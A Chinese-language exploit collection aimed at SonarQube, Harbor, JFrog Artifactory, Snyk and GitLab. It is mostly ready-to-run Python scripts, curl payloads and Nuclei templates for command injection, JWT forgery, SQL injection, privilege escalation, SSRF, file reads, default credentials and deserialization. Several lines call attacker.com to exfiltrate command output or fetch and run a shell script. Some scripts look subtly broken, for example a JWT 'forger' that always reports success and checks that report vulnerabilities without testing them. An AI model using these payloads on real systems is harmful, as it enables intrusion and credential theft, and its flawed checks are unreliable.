DevSecOps与供应链安全平台高危攻击链专题：SonarQube / Harbor / JFrog / Snyk / GitLab Registry 漏洞全解析

docker pull sonarqube:8.5.1-community
docker run -d --name sonarqube-vuln -p 9000:9000 sonarqube:8.5.1-community
docker exec sonarqube-vuln whoami
docker exec -u root sonarqube-vuln whoami

#!/usr/bin/env python3
"""CVE-2020-35193 SonarQube Docker 镜像 root 空密码检测"""
import sys
import subprocess
import json

def check_container_root(container_id):
    result = subprocess.run(
        ["docker", "inspect", container_id],
        capture_output=True, text=True
    )
    if result.returncode != 0:
        print(f"[!] 无法获取容器信息: {result.stderr.strip()}")
        return False
    info = json.loads(result.stdout)[0]
    image = info.get("Config", {}).get("Image", "unknown")
    print(f"[*] 镜像: {image}")
    result = subprocess.run(
        ["docker", "exec", "-u", "root", container_id, "whoami"],
        capture_output=True, text=True
    )
    if result.returncode == 0 and "root" in result.stdout:
        print(f"[VULN] CVE-2020-35193 确认可利用! 容器允许 root 空密码执行")
        return True
    print(f"[SAFE] 容器不允许 root 空密码执行")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <container_name_or_id>")
        sys.exit(1)
    check_container_root(sys.argv[1])

id: sonarqube-docker-root-cve-2020-35193
info:
  name: SonarQube Docker Root 空密码 (CVE-2020-35193)
  severity: critical
  tags: sonarqube,docker,cve-2020-35193
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/system/status"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":'
        part: body
      - type: regex
        regex:
          - '"version"\\s*:\\s*"(7\\.|8\\.[0-5]\\.)'
        part: body

curl -X POST "http://target-sonarqube:9000/api/system/validate_database_connection" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=jdbc:mysql://localhost:3306/sonar?useSSL=false&shell=;id>" -v

curl "http://target-sonarqube:9000/api/projects/search?q=test;curl+http://attacker.com/$(id)" \
  -H "Authorization: Bearer <token>" -v

#!/usr/bin/env python3
"""CVE-2020-27958 SonarQube OS 命令注入检测"""
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_sonarqube_rce(base_url, command="id"):
    base_url = base_url.rstrip("/")
    print(f"[*] 目标: {base_url}")
    session = requests.Session()
    session.verify = False
    session.get(f"{base_url}/api/system/status", timeout=10)
    payloads = [
        {"endpoint": "/api/ce/task", "method": "POST", "data": {"id": f"test;{command}"}},
        {"endpoint": "/api/projects/search", "method": "GET", "params": {"q": f"test;{command}"}},
        {"endpoint": "/api/languages/list", "method": "POST", "data": {"languageKey": f"test;{command}"}},
    ]
    for payload in payloads:
        print(f"[*] 尝试: {payload.get('endpoint', '')}")
        try:
            if payload["method"] == "POST":
                resp = session.post(f"{base_url}{payload['endpoint']}", data=payload.get("data", {}), timeout=15)
            else:
                resp = session.get(f"{base_url}{payload['endpoint']}", params=payload.get("params", {}), timeout=15)
            if re.search(r"uid=\d+\(", resp.text):
                print(f"[VULN] 命令注入成功! {resp.text[:500]}")
                return True
        except Exception as e:
            print(f"[!] {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        sys.exit(1)
    check_sonarqube_rce(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "id")

id: sonarqube-os-command-injection-cve-2020-27958
info:
  name: SonarQube OS 命令注入 (CVE-2020-27958)
  severity: critical
  tags: sonarqube,rce,cve-2020-27958,command-injection
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/projects/search?q=test"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "components"
          - "paging"
        condition: and
        part: body
      - type: status
        status:
          - 200

python3 -c "
import jwt
token = jwt.encode({'sub':'admin','iat':1609459200,'exp':1925068800},'sonar',algorithm='HS256')
print(token)
"

curl "http://target-sonarqube:9000/api/projects/search?q=test%27%20OR%201=1--" \
  -H "Authorization: Bearer <jwt_token>" -v

#!/usr/bin/env python3
"""CVE-2020-27955 + CVE-2020-27956 SonarQube JWT泄露 + SQL注入"""
import sys
import requests
import urllib3
import time
try:
    import jwt
except ImportError:
    print("[!] pip install PyJWT"); sys.exit(1)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
KNOWN_KEYS = ["sonar", "sonar_secret", "sonarqube", "sonarsource"]

def forge_jwt(username="admin"):
    for key in KNOWN_KEYS:
        try:
            token = jwt.encode({"sub": username, "iat": int(time.time()),
                "exp": int(time.time()) + 86400*365}, key, algorithm="HS256")
            print(f"[+] 密钥 '{key}' 伪造成功")
            return token
        except Exception:
            continue
    return None

def test_all(base_url):
    base_url = base_url.rstrip("/")
    token = forge_jwt("admin")
    if not token:
        print("[!] 无法伪造 JWT"); return False
    session = requests.Session(); session.verify = False
    session.headers["Authorization"] = f"Bearer {token}"
    resp = session.get(f"{base_url}/api/user_tokens/search", timeout=10)
    if resp.status_code == 200:
        print(f"[VULN] JWT 伪造成功! 获取到 {len(resp.json().get('userTokens', []))} 个 Token")
    session2 = requests.Session(); session2.verify = False
    session2.headers["Authorization"] = f"Bearer {token}"
    for payload, name in [("test' OR '1'='1","OR注入"), ("test' AND SLEEP(5)--","时间盲注")]:
        start = time.time()
        resp = session2.get(f"{base_url}/api/projects/search", params={"q": payload}, timeout=15)
        if resp.status_code == 200 and resp.json().get("paging",{}).get("total",0) > 0:
            print(f"[VULN] SQL注入成功 ({name})"); return True
        elif time.time() - start > 4.5:
            print(f"[VULN] 时间盲注确认 ({name})"); return True
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>"); sys.exit(1)
    test_all(sys.argv[1])

id: sonarqube-jwt-sqli-cve-2020-27955
info:
  name: SonarQube JWT泄露 + SQL注入 (CVE-2020-27955/27956)
  severity: critical
  tags: sonarqube,jwt,sqli,cve-2020-27955
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/system/status"
    matchers:
      - type: word
        words:
          - '"status":"UP"'
        part: body

curl -X POST "http://target-harbor/api/v2.0/users/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"normal_user","password":"password123"}' -c cookies.txt -v

curl -X POST "http://target-harbor/api/v2.0/projects/1/members" \
  -H "Content-Type: application/json" -b cookies.txt \
  -d '{"role_id":1,"member_user":{"username":"normal_user"}}' -v

#!/usr/bin/env python3
"""CVE-2019-16097 Harbor 项目创建提权"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class HarborPrivesc:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session(); self.session.verify = False

    def exploit(self, username, password):
        resp = self.session.post(f"{self.base_url}/api/v2.0/users/login",
            json={"username": username, "password": password}, timeout=10)
        if resp.status_code != 200:
            print(f"[!] 登录失败"); return False
        print(f"[+] 登录成功")
        resp = self.session.post(f"{self.base_url}/api/v2.0/projects",
            json={"project_name": "test_privesc", "metadata": {"public": "false"}}, timeout=10)
        if resp.status_code not in (200, 201):
            print(f"[!] 创建项目失败"); return False
        project_id = resp.json().get("project_id", 0)
        resp = self.session.post(f"{self.base_url}/api/v2.0/projects/{project_id}/members",
            json={"role_id": 1, "member_user": {"username": username}}, timeout=10)
        if resp.status_code in (200, 201):
            print(f"[VULN] 提权成功! {username} 已成为项目管理员")
            return True
        print(f"[-] HTTP {resp.status_code}"); return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <url> <user> <pass>"); sys.exit(1)
    HarborPrivesc(sys.argv[1]).exploit(sys.argv[2], sys.argv[3])

id: harbor-privesc-cve-2019-16097
info:
  name: Harbor 项目创建提权 (CVE-2019-16097)
  severity: critical
  tags: harbor,privesc,cve-2019-16097
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v2.0/systeminfo/volumes"
    matchers:
      - type: word
        words:
          - "total"
        part: body
      - type: status
        status:
          - 200
          - 401

curl -X POST "http://target-harbor/api/v2.0/users/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"Harbor12345"}' -c cookies.txt -v

curl "http://target-harbor/api/v2.0/projects" -b cookies.txt -v

#!/usr/bin/env python3
"""CVE-2026-4404 Harbor 默认凭证检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_CREDS = [("admin","Harbor12345"),("admin","admin"),("admin","harbor"),
    ("admin","password"),("admin","admin123")]

def scan(url):
    s = requests.Session(); s.verify = False; url = url.rstrip("/")
    for u, p in DEFAULT_CREDS:
        try:
            r = s.post(f"{url}/api/v2.0/users/login", json={"username":u,"password":p}, timeout=10)
            if r.status_code == 200:
                print(f"[VULN] 默认凭证有效: {u}:{p}")
                projects = s.get(f"{url}/api/v2.0/projects", timeout=10).json()
                for proj in projects:
                    repos = s.get(f"{url}/api/v2.0/projects/{proj['name']}/repositories", timeout=10).json()
                    print(f"    {proj['name']} ({len(repos)} repos)")
                return True
        except Exception: pass
    print(f"[-] 未发现有效默认凭证"); return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <url>"); sys.exit(1)
    scan(sys.argv[1])

id: harbor-default-creds-cve-2026-4404
info:
  name: Harbor 默认凭证 (CVE-2026-4404)
  severity: critical
  tags: harbor,default-login,cve-2026-4404
http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v2.0/users/login"
    body: '{"username":"admin","password":"Harbor12345"}'
    headers:
      Content-Type: "application/json"
    matchers:
      - type: status
        status:
          - 200

curl -X POST "http://target-harbor/api/v2.0/replications" \
  -H "Content-Type: application/json" -H "Authorization: Bearer <token>" \
  -d '{"name":"ssrf","type":"harbor","endpoint":{"name":"int","type":"harbor","url":"http://169.254.169.254/"}}' -v

curl "http://target-harbor/api/v2.0/systeminfo/volumes?file=../../../../etc/passwd" \
  -H "Authorization: Bearer <token>" -v

#!/usr/bin/env python3
"""CVE-2024-25906/25907 Harbor SSRF + 任意文件读取"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class HarborSSRF:
    def __init__(self, base_url, token):
        self.base_url = base_url.rstrip("/")
        self.headers = {"Authorization": f"Bearer {token}"}
        self.session = requests.Session(); self.session.verify = False

    def test_ssrf(self):
        payload = {"name":"ssrf-test","type":"harbor",
            "endpoint":{"name":"internal","type":"harbor","url":"http://169.254.169.254/",
            "credential":{"access_key":"admin","type":"basic"}}}
        r = self.session.post(f"{self.base_url}/api/v2.0/replications",
            headers=self.headers, json=payload, timeout=15)
        if r.status_code in (200,201) or "connection refused" in r.text.lower():
            print(f"[VULN] SSRF 确认!"); return True
        return False

    def test_file_read(self):
        r = self.session.get(f"{self.base_url}/api/v2.0/systeminfo/volumes",
            params={"file":"../../../../etc/passwd"}, headers=self.headers, timeout=10)
        if r.status_code == 200 and "root:" in r.text:
            print(f"[VULN] 任意文件读取成功!"); return True
        return False

    def exploit(self):
        return self.test_ssrf() or self.test_file_read()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <url> <token>"); sys.exit(1)
    HarborSSRF(sys.argv[1], sys.argv[2]).exploit()

id: harbor-ssrf-lfi-cve-2024-25906
info:
  name: Harbor SSRF + 任意文件读取 (CVE-2024-25906/25907)
  severity: high
  tags: harbor,ssrf,lfi,cve-2024-25906,cve-2024-25907
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v2.0/systeminfo"
    matchers:
      - type: word
        words:
          - "harbor_version"
        part: body
      - type: status
        status:
          - 200
          - 401

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit" 1389
python3 -m http.server 8888

curl "http://target-artifactory:8082/artifactory/api/security/validateLogin" \
  -H "Authorization: Basic $(echo -n 'ldap_user:pass' | base64)" -v

#!/usr/bin/env python3
"""CVE-2016-6501 JFrog Artifactory LDAP 投毒 RCE 检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_ldap(base_url):
    base_url = base_url.rstrip("/")
    s = requests.Session(); s.verify = False
    print(f"[*] 检查目标: {base_url}")
    for ep in ["/artifactory/api/system/configuration", "/artifactory/api/security/ldap"]:
        try:
            r = s.get(f"{base_url}{ep}", timeout=10)
            if r.status_code == 200 and ("ldap" in r.text.lower() or "providerUrl" in r.text):
                print(f"[VULN] LDAP 配置暴露: {ep}")
                print(f"[VULN] 可能存在 CVE-2016-6501 LDAP 投毒风险")
                return True
        except Exception: pass
    print(f"[-] 未直接发现 LDAP 配置泄露"); return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <url>"); sys.exit(1)
    check_ldap(sys.argv[1])

id: artifactory-ldap-rce-cve-2016-6501
info:
  name: JFrog Artifactory LDAP 投毒 RCE (CVE-2016-6501)
  severity: critical
  tags: jfrog,artifactory,ldap,rce,cve-2016-6501
http:
  - method: GET
    path:
      - "{{BaseURL}}/artifactory/api/system/ping"
    matchers:
      - type: word
        words:
          - "OK"
        part: body
  - method: GET
    path:
      - "{{BaseURL}}/artifactory/api/system/configuration"
    matchers:
      - type: word
        words:
          - "ldap"
          - "providerUrl"
        condition: or
        part: body

curl -X PUT "http://target:8082/artifactory/api/v2/security/permissions/global-admin" \
  -H "Content-Type: application/json" -H "Authorization: Bearer <token>" \
  -d '{"name":"global-admin","includesPattern":"**","principals":{"users":{"low_priv":["r","w","m","d","a"]}}}' -v

#!/usr/bin/env python3
"""CVE-2024-4142 JFrog Artifactory 权限提升"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ArtifactoryPrivesc:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session(); self.session.verify = False
        self.token = None

    def exploit(self, username, password):
        r = self.session.post(f"{self.base_url}/artifactory/api/security/token",
            data={"grant_type":"password","username":username,"password":password}, timeout=10)
        if r.status_code == 200:
            self.token = r.json().get("access_token","")
        else:
            self.session.auth = (username, password)
        headers = {"Authorization":f"Bearer {self.token}"} if self.token else {}
        payload = {"name":"pwned-admin","includesPattern":"**",
            "principals":{"users":{"admin":["r","w","m","d","a"]}}}
        r = self.session.put(f"{self.base_url}/artifactory/api/v2/security/permissions/pwned-admin",
            json=payload, headers=headers, timeout=10)
        if r.status_code in (200,201):
            print(f"[VULN] 权限提升成功!"); return True
        print(f"[-] HTTP {r.status_code}"); return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <url> <user> <pass>"); sys.exit(1)
    ArtifactoryPrivesc(sys.argv[1]).exploit(sys.argv[2], sys.argv[3])

id: artifactory-privesc-cve-2024-4142
info:
  name: JFrog Artifactory 权限提升 (CVE-2024-4142)
  severity: high
  tags: jfrog,artifactory,privesc,cve-2024-4142
http:
  - method: GET
    path:
      - "{{BaseURL}}/artifactory/api/v2/security/permissions"
    matchers:
      - type: word
        words:
          - "permissions"
        part: body
      - type: status
        status:
          - 200
          - 401

java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com:8888/$(id|base64)" > payload.bin
curl -X POST "http://target:8082/artifactory/api/system/import" \
  -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.bin -v

#!/usr/bin/env python3
"""CVE-2023-26926 JFrog Artifactory 反序列化检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
JAVA_HEADER = b"\xac\xed\x00\x05"

def check(base_url):
    base_url = base_url.rstrip("/")
    s = requests.Session(); s.verify = False
    r = s.get(f"{base_url}/artifactory/api/system/ping", timeout=10)
    if r.status_code == 200:
        print(f"[+] Artifactory 可达")
    for ep in ["/artifactory/api/system/import", "/artifactory/api/plugins/execute"]:
        try:
            r = s.post(f"{base_url}{ep}",
                headers={"Content-Type":"application/x-java-serialized-object"},
                data=JAVA_HEADER + b"\x00"*50, timeout=10)
            if r.status_code != 415:
                print(f"[VULN] {ep} 可能存在反序列化入口 (CVE-2023-26926)")
                return True
        except Exception: pass
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <url>"); sys.exit(1)
    check(sys.argv[1])

id: artifactory-deser-cve-2023-26926
info:
  name: JFrog Artifactory 反序列化 RCE (CVE-2023-26926)
  severity: critical
  tags: jfrog,artifactory,deserialization,rce,cve-2023-26926
http:
  - method: GET
    path:
      - "{{BaseURL}}/artifactory/api/system/ping"
    matchers:
      - type: word
        words:
          - "OK"
        part: body
  - method: POST
    path:
      - "{{BaseURL}}/artifactory/api/system/import"
    headers:
      Content-Type: "application/x-java-serialized-object"
    body: "\xac\xed\x00\x05"
    matchers:
      - type: word
        words:
          - "400"
          - "500"
          - "Bad Request"
        condition: or

cat > /tmp/malicious_composer.json << 'EOF'
{"name":"attacker/malicious","description":"<?php system($_GET['cmd']); ?>"}
EOF
cd /tmp/malicious_project && snyk test --file=composer.json

#!/usr/bin/env python3
"""CVE-2024-48963 Snyk PHP 代码注入检测"""
import sys, subprocess, os, json, tempfile

MALICIOUS = {"name":"test/injection","description":"${PHP_VERSION}","require":{"php":">=7.0"}}

def check(snyk_path, project_path):
    with tempfile.TemporaryDirectory() as tmpdir:
        with open(os.path.join(tmpdir, "composer.json"), "w") as f:
            json.dump(MALICIOUS, f)
        r = subprocess.run([snyk_path, "test", f"--file={os.path.join(tmpdir,'composer.json')}",
            "--json", "--quiet"], capture_output=True, text=True, timeout=60, cwd=tmpdir)
        out = r.stdout + r.stderr
        if "code-injection" in out.lower() or "command-injection" in out.lower():
            print(f"[VULN] CVE-2024-48963 确认!"); return True
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <snyk> <project>"); sys.exit(1)
    check(sys.argv[1], sys.argv[2])

id: snyk-php-injection-cve-2024-48963
info:
  name: Snyk PHP 代码注入 (CVE-2024-48963)
  severity: critical
  tags: snyk,php,code-injection,cve-2024-48963
http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/orgs"
    matchers:
      - type: status
        status:
          - 200
          - 401

cat > .snyk << 'EOF'
version: v1.25.0
ignore:
  SNYK-JS-EXAMPLE-0001:
    - custom:
        reason: "require('child_process').execSync('curl http://attacker.com/$(whoami)')"
        expires: 2030-01-01T00:00:00.000Z
EOF

#!/usr/bin/env python3
"""CVE-2023-23694 Snyk IDE 扩展 RCE 检测"""
import sys, os, json

POLICY = {"version":"v1.25.0","ignore":{"SNYK-TEST-0001":[{"custom":
    {"reason":"require('child_process').execSync('id > /tmp/snyk_rce_test')",
     "expires":"2030-01-01T00:00:00.000Z"}}]}}

def gen(path):
    with open(os.path.join(path, ".snyk"), "w") as f:
        json.dump(POLICY, f, indent=2)
    print(f"[*] 恶意 .snyk 已生成: {path}/.snyk")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <project_path>"); sys.exit(1)
    gen(sys.argv[1])

id: snyk-ide-rce-cve-2023-23694
info:
  name: Snyk IDE 扩展 RCE (CVE-2023-23694)
  severity: critical
  tags: snyk,ide,rce,cve-2023-23694
http:
  - method: GET
    path:
      - "{{BaseURL}}/.snyk"
    matchers:
      - type: word
        words:
          - "version: v1"
          - "ignore:"
        condition: and
        part: body

mkdir -p /tmp/snyk_test
touch '/tmp/snyk_test/$(curl http://attacker.com/shell.sh | bash).js'
cd /tmp/snyk_test && snyk test

#!/usr/bin/env python3
"""CVE-2022-25315 Snyk CLI 命令注入检测"""
import sys, os, subprocess, tempfile

def check(snyk_path):
    with tempfile.TemporaryDirectory() as tmpdir:
        with open(os.path.join(tmpdir, "test.js"), "w") as f:
            f.write("// test")
        r = subprocess.run([snyk_path, "test", "--json", "--quiet"],
            capture_output=True, text=True, timeout=30, cwd=tmpdir)
        out = r.stdout + r.stderr
        if "command injection" in out.lower():
            print(f"[VULN] CVE-2022-25315 确认!"); return True
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <snyk_cli>"); sys.exit(1)
    check(sys.argv[1])

id: snyk-cli-injection-cve-2022-25315
info:
  name: Snyk CLI 命令注入 (CVE-2022-25315)
  severity: high
  tags: snyk,cli,command-injection,cve-2022-25315
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/cli-config"
    matchers:
      - type: status
        status:
          - 200
          - 404

curl -X POST "https://target-gitlab.com/users/auth/saml/callback" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'SAMLResponse=<base64_encoded_malicious_saml>&RelayState=' -v

#!/usr/bin/env python3
"""CVE-2025-25291 GitLab SAML 认证绕过检测"""
import sys
import requests
import urllib3
import base64
import lxml.etree as ET
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_saml(base_url):
    base_url = base_url.rstrip("/")
    s = requests.Session(); s.verify = False
    r = s.get(f"{base_url}/users/auth/saml/metadata", timeout=10)
    if r.status_code == 200 and "EntityDescriptor" in r.text:
        print(f"[VULN] SAML 集成已配置，可能存在 CVE-2025-25291 风险")
        print(f"[*] 建议使用完整 SAML Response 进行验证")
        return True
    r = s.get(f"{base_url}/users/sign_in", timeout=10)
    if "saml" in r.text.lower():
        print(f"[*] 登录页面包含 SAML 选项")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <url>"); sys.exit(1)
    check_saml(sys.argv[1])

id: gitlab-saml-bypass-cve-2025-25291
info:
  name: GitLab SAML 认证绕过 (CVE-2025-25291)
  severity: critical
  tags: gitlab,saml,auth-bypass,cve-2025-25291
http:
  - method: GET
    path:
      - "{{BaseURL}}/users/auth/saml/metadata"
    matchers:
      - type: word
        words:
          - "EntityDescriptor"
          - "urn:oasis:names:tc:SAML"
        condition: and
        part: body
      - type: status
        status:
          - 200

curl -X POST "https://target-gitlab.com/api/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { createPipeline(input:{projectPath:\"group/project\",ref:\"main\",config:\"{\\\"steps\\\":[{\\\"script\\\":[\\\"id\\\"]}]}\"}) { pipeline { id } } }"}' -v

#!/usr/bin/env python3
"""CVE-2024-4835 GitLab CI/CD 脚本注入检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

GRAPHQL_INJECTION = '''{"query":"mutation { createPipeline(input:{projectPath:\\"test/test\\",ref:\\"main\\",config:\\"steps:\\\\n- script:\\\\n  - id\\\\n\\"}) { pipeline { id } } }"}'''

def check(base_url):
    base_url = base_url.rstrip("/")
    s = requests.Session(); s.verify = False
    r = s.post(f"{base_url}/api/graphql",
        headers={"Content-Type":"application/json"},
        data=GRAPHQL_INJECTION, timeout=15)
    if r.status_code == 200:
        if "pipeline" in r.text or "error" in r.text:
            print(f"[VULN] GraphQL 端点可达且响应含有 pipeline 数据 (CVE-2024-4835)")
            return True
    print(f"[*] GraphQL 响应: HTTP {r.status_code}"); return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <url>"); sys.exit(1)
    check(sys.argv[1])

id: gitlab-cicd-injection-cve-2024-4835
info:
  name: GitLab CI/CD 脚本注入 (CVE-2024-4835)
  severity: critical
  tags: gitlab,cicd,script-injection,cve-2024-4835
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/graphql"
    matchers:
      - type: word
        words:
          - "data"
          - "errors"
        condition: or
        part: body
      - type: status
        status:
          - 200
          - 400

curl -X POST "https://target-gitlab.com/api/v4/projects/import" \
  -H "PRIVATE-TOKEN: <token>" \
  -F "file=@malicious_project.tar.gz" \
  -F "path=imported-project" -v

#!/usr/bin/env python3
"""CVE-2023-4991 GitLab 项目导入 RCE 检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_import(base_url, token):
    base_url = base_url.rstrip("/")
    s = requests.Session(); s.verify = False
    s.headers["PRIVATE-TOKEN"] = token
    r = s.get(f"{base_url}/api/v4/projects", params={"simple":"true"}, timeout=10)
    if r.status_code == 200:
        print(f"[+] 项目导入 API 可达 (CVE-2023-4991 检测)")
        print(f"[*] 建议构造恶意 .gitlab-ci.yml 进行导入测试")
        return True
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <url> <token>"); sys.exit(1)
    check_import(sys.argv[1], sys.argv[2])

id: gitlab-import-rce-cve-2023-4991
info:
  name: GitLab 项目导入 RCE (CVE-2023-4991)
  severity: critical
  tags: gitlab,import,rce,cve-2023-4991
http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v4/projects"
    headers:
      PRIVATE-TOKEN: "{{gitlab_token}}"
    matchers:
      - type: word
        words:
          - "id"
          - "name"
        condition: and
        part: body
      - type: status
        status:
          - 200
          - 401

# 1. Harbor: 修改默认管理员密码
curl -X PUT "http://harbor/api/v2.0/users/1" \
  -H "Content-Type: application/json" \
  -d '{"old_password":"Harbor12345","new_password":"<new_strong_password>"}' \
  -c cookies.txt

# 2. SonarQube: 检查并禁用不必要的 API 端点
# 在 sonar-web 和 sonar-server 配置中限制 API 访问

# 3. Artifactory: 检查 LDAP 配置安全性
curl "http://artifactory/artifactory/api/system/configuration" \
  -u admin:<password> | jq '.security.ldap'

# 4. GitLab: 紧急禁用 SAML（如未使用）
gitlab-rake "gitlab:check"

# 5. 通用：限制网络访问，仅允许内网访问 DevSecOps 工具
iptables -A INPUT -s 10.0.0.0/8 -p tcp --dport 9000 -j ACCEPT
iptables -A INPUT -p tcp --dport 9000 -j DROP